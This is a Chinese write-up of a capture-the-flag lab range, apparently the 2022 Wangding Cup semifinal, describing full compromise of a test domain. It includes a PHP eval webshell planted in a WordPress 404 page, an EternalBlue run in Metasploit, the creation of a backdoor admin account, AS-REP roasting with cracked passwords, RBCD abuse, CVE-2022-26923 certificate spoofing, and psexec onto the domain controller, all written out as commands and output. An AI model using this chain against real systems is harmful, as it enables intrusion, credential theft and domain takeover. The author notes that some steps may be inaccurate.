22网鼎杯半决赛复现

flag01

先扫扫端口

image-20240821160634662

wordpress 用插件扫扫看

image-20240821161217096

没扫到

针对wordpress可以看看后台

/wp-admin

弱口令admin/123456登录成功

上次打vulnhub遇到过一个

404页面是php,

编辑404页面可以上马

image-20240821161744165

直接给整个文件换成

1
2
http://121.89.200.15/wp-admin/theme-editor.php?file=404.php&theme=twentytwentyone
<?php eval($_POST['a']);?>

蚁剑链接

1
http://121.89.200.15/wp-content/themes/twentytwentyone/404.php

image-20240821161956488

flag02

上传fscan frp

查看ip

image-20240821162124739

1
./fscan -h 172.22.15.1/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
172.22.15.18:445 open
172.22.15.13:88 open
172.22.15.13:445 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.24:445 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.13:139 open
172.22.15.24:139 open
172.22.15.13:135 open
172.22.15.18:135 open
172.22.15.35:135 open
172.22.15.24:135 open
172.22.15.18:80 open
172.22.15.24:80 open
172.22.15.26:80 open
172.22.15.26:22 open
[*] NetInfo
[*]172.22.15.24
[->]XR-WIN08
[->]172.22.15.24
[*] NetInfo
[*]172.22.15.18
[->]XR-CA
[->]172.22.15.18
[*] NetInfo
[*]172.22.15.13
[->]XR-DC01
[->]172.22.15.13
[+] MS17-010 172.22.15.24 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetInfo
[*]172.22.15.35
[->]XR-0687
[->]172.22.15.35
[*] OsInfo 172.22.15.13 (Windows Server 2016 Standard 14393)
[*] NetBios 172.22.15.13 [+] DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[*] NetBios 172.22.15.35 XIAORANG\XR-0687
[*] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[*] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[*] WebTitle http://172.22.15.26 code:200 len:39962 title:XIAORANG.LAB
[*] WebTitle http://172.22.15.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.15.24 code:302 len:0 title:None 跳转url: http://172.22.15.24/www
[+] PocScan http://172.22.15.18 poc-yaml-active-directory-certsrv-detect
[*] WebTitle http://172.22.15.24/www/sys/index.php code:200 len:135 title:None

172.22.15.13 DC
172.22.15.18 CA
172.22.15.24 内网单独一台win机器
172.22.15.26 入口
172.22.15.35 域内成员机

对应172.22.15.18有永恒之蓝ms17010

挂号代理上msf

1
2
3
4
5
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 172.22.15.24
run

image-20240821162937565

但是却没有调出来shell

image-20240821163209027

image-20240821163422318

最后通过加载powershell成功添加用户

1
2
3
load powershell
powershell_execute "net user aaa 123456a! /add"
powershell_execute "net localgroup administrators aaa /add"

image-20240821163649469

连远程桌面出了点小问题

也是解决了

image-20240821164036747https://blog.csdn.net/zhaoyang314/article/details/126050058

image-20240821164509062

flag03

桌面有小皮,看看数据库

image-20240821164758273

image-20240821165039713

用户名都导出来

看一下是否存在有不要求Kerberos 预身份验证的账户

1
proxychains python3 GetNPUsers.py -dc-ip 172.22.15.13  xiaorang.lab/ -usersfile user.txt 

image-20240821165308737

发现2个,hashcat跑跑看

1
2
3
$krb5asrep$23$lixiuying@XIAORANG.LAB:320a091dc331a93ee180629ef8148582$aebaf73fd1e244f814d8d0e19eae7a150939ed1527fab97b189728cc6c83208b02b1723dbbe2c316af8eb57834f6b252cbf592d2fcf4ad7b4f9e610e3496c64a98618e9850600ffe6ab17d52bf284858e69d2d8abeebd9d4f6e8b22c5b82e6fdd6bbad6f030d98518324e889662811fe8856890289f4c9cecdce32784f555fed265b1e8e2ba40b0d7046553d165fa9fa7626251433e7a162d08564956edf580c777c8af3b635f781aaa969ab188d587f35694bd153f704206b340084990437e556c177d3123660dc98a985c9d243986d45a72cd362d3c281fb91cb9bd2c2844618e5369519364e5df9f3e2e8
$krb5asrep$23$huachunmei@XIAORANG.LAB:b0a2a86f918ef71e408eddec75c03357$d3c8857ecd370bed27ff44626d92416c75893b5e4079fb68ab1ecfd7299bb135ecdafc6322ae0d037b0234025ea5f53bc739cd82ddebc768b74f28a47936ad6b47155c3f3b4067fb3b237976fe1dc108e51507b509fe9447b6fb75c8c3e822fc898e771cf330f5bf202f4fc15e99e6b609c1a60d30ff6ccf9d61318ccb2de992a5e0a8f50cadd034de001c46a74f062bb9117f7bae8cdf1e86713df62f2ed6af4ceffee79e108dc2f52c3e2a8242c0162d81b65a05e8705a13b51b449604068e5659ca2d9dc260a19aa08d4a236a8653df0d1155237a324ecb4e3481ec2fcb96333c41c9ba4e46531ad131d9

hashcat 跑一下

1
2
3
hashcat -m 18200 --force -a 0 "$krb5asrep$23$lixiuying@XIAORANG.LAB:320a091dc331a93ee180629ef8148582$aebaf73fd1e244f814d8d0e19eae7a150939ed1527fab97b189728cc6c83208b02b1723dbbe2c316af8eb57834f6b252cbf592d2fcf4ad7b4f9e610e3496c64a98618e9850600ffe6ab17d52bf284858e69d2d8abeebd9d4f6e8b22c5b82e6fdd6bbad6f030d98518324e889662811fe8856890289f4c9cecdce32784f555fed265b1e8e2ba40b0d7046553d165fa9fa7626251433e7a162d08564956edf580c777c8af3b635f781aaa969ab188d587f35694bd153f704206b340084990437e556c177d3123660dc98a985c9d243986d45a72cd362d3c281fb91cb9bd2c2844618e5369519364e5df9f3e2e8" rockyou.txt

hashcat -m 18200 --force -a 0 "$krb5asrep$23$huachunmei@XIAORANG.LAB:b0a2a86f918ef71e408eddec75c03357$d3c8857ecd370bed27ff44626d92416c75893b5e4079fb68ab1ecfd7299bb135ecdafc6322ae0d037b0234025ea5f53bc739cd82ddebc768b74f28a47936ad6b47155c3f3b4067fb3b237976fe1dc108e51507b509fe9447b6fb75c8c3e822fc898e771cf330f5bf202f4fc15e99e6b609c1a60d30ff6ccf9d61318ccb2de992a5e0a8f50cadd034de001c46a74f062bb9117f7bae8cdf1e86713df62f2ed6af4ceffee79e108dc2f52c3e2a8242c0162d81b65a05e8705a13b51b449604068e5659ca2d9dc260a19aa08d4a236a8653df0d1155237a324ecb4e3481ec2fcb96333c41c9ba4e46531ad131d9" rockyou.txt

image-20240821165932219

image-20240821165953049

lixiuying/winniethepooh
huachunmei/1qaz2wsx

xiaorang.lab\lixiuying winniethepooh

xiaorang.lab\huachunmei 1qaz2wsx

远程登录下 172.22.15.35

上sharpHound搜集一下域内信息,

image-20240821171637745

这次换个版本老一点的sharpHound成功导入也是

image-20240821173001811

可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限 ,有GenericWrite权限,意味着可以修改该机器的任何属性

ACL Abuse+RBCD提权

基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。

枚举一下当前用户(lixiuying)对当前机器的DACL。

1
2
Import-Module .\PowerView.ps1
Get-DomainUser -Identity lixiuying -Properties objectsid 获取"lixiuying" 的用户的 objectSID 属性值
1
S-1-5-21-3745972894-1678056601-2622918667-1147
1
2
3
4
5
Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1147"}  

查找XR-0687机器中对应S-1-5-21-3745972894-1678056601-2622918667-1147用户是否有特定权限

S-1-5-21-3745972894-1678056601-2622918667-1147这里需要和你获取的相对应

image-20240821192708881

1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image-20240821193019893

通过与用户lixiuying在域内添加一个计算机账号01$,密码Passw0rd。

1
proxychains impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.15.13

利用getST脚本创建服务票据

1
proxychains impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/XR-0687.xiaorang.lab -impersonate administrator -dc-ip 172.22.15.13

导入票据

1
export KRB5CCNAME=administrator.ccache

无密码链接 读取flag

1
proxychains impacket-wmiexec -no-pass  -k XR-0687.xiaorang.lab

image-20240821193245087

flag04

注意,接下来的步骤可能有问题,请谨慎

这个过程中出了比较大的问题,后期我整理的,如有问题,麻烦及时告诉我更改

CVE-2022–26923 && RBCD Attack 拿下DC
首先 先添加一个用户

1
proxychains  impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 02\$ -computer-pass Passw0rd -dc-ip 172.22.15.13
1
pip3 install certipy-ad

针对于certipy的安装,这调命令有人可能可以,但我不行,我是

1
2
3
4
5
git clone https://github.com/ly4k/Certipy.git
cd Certipy
pip install . -i https://mirrors.aliyun.com/pypi/simple/
后面可能会遇到pyasn1的问题
pip install pyasn1 --ignore-installed -i https://mirrors.aliyun.com/pypi/simple/

之后在利用certipy修改02的dNSHostName

1
proxychains certipy account update -u "lixiuying@xiaorang.lab" -p winniethepooh  -user '02' -dns "XR-DC01.xiaorang.lab" -dc-ip 172.22.15.13

image-20240821202517011

1
proxychains certipy req -u '02$@xiaorang.lab'  -p  Passw0rd   -ca xiaorang-XR-CA-CA  -template Machine -dc-ip 172.22.15.18

在用dNSHostName欺骗ADCS获取一份DC机器账户的证书 这里的dc-ip指向 ADCS
-ca 用 certutil -config - -ping 进行定位

image-20240821202547732

之后便获取到一份颁布给域控机器账户的证书
预期是我们能通过这份证书申请到域控机器的hash然后再进行DCsync攻击获取域控的hash从而拿下整个域控
但是因为ldaps出现问题,导致我们无法顺利申请

申请证书

1
proxychains  certipy auth  -pfx xr-dc01.pfx  -username xr-dc01$  -domain xiaorang.lab  -dc-ip 172.22.15.13

image-20240821202659680

可能是域控制器没有安装用于智能卡身份验证的证书 ? 所以可以尝试 Schannel

即通过 Schannel 将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限

这样打首先得把pfx导出为.key 和.crt 两个文件(让你输入密码直接回车即可,空密码):

到处证书

openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem
openssl rsa -in test.pem -out test.key
openssl x509 -in test.pem -out test.crt

脚本链接https://github.com/AlmondOffSec/PassTheCert

利用脚本传递证书

1
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13
1
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from '02$'

image-20240821204912150

使用 impacket 的 getST.py执行基于资源的约束性委派工具并获取拥有访问XR-01机器上的GIFS服务的高权限票据。

1
2
3
4
proxychains python3 getST.py xiaorang.lab/'02$':'Passw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

编辑/etc/hosts
172.22.15.13 xr-dc01.xiaorang.lab
1
export KRB5CCNAME=Administrator.ccache

使用申请的票据获取XR-01这台机器的本地管理员权限。

1
proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

image-20240821210227632

总结

这个靶场算是真的给我整的有点小红晕了,票据的认证,传送,我自己搞的证书乱放,文件夹也是到处是,有点难甭,所以在此严重提醒自己打靶的时候尽量不要换kali所在的目录,除非你很清楚。

了解到用户对当前机器有GenericWrite权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。

利用该用户创建一个新用户,并赋予该用户拥有管理员的权限,利用拥有GenericWrite权限的用户为创建的新用户新建票据,从而获取管理员权限。

学到了Active Directory域权限提升漏洞(CVE-2022-26923),该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。

如果我们将某个可控计算机账户(02$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值(xr-dc01.xiaorang.lab),那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。

首先创建一个新用户02

1
proxychains  impacket-addcomputer -method SAMR xiaorang.lab/lixiuying:winniethepooh -computer-name 02\$ -computer-pass Passw0rd -dc-ip 172.22.15.13

其次为其修改dns

1
proxychains certipy account update -u "lixiuying@xiaorang.lab" -p winniethepooh  -user '02' -dns "XR-DC01.xiaorang.lab" -dc-ip 172.22.15.13

利用脚本传递证书

1
proxychains python3 passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13

申请新证书

1
proxychains python3 passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from '02$'

利用高权限申请新票据

1
proxychains python3 getST.py xiaorang.lab/'02$':'Passw0rd' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

使用申请的票据获取XR-01这台机器的本地管理员权限

1
proxychains python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13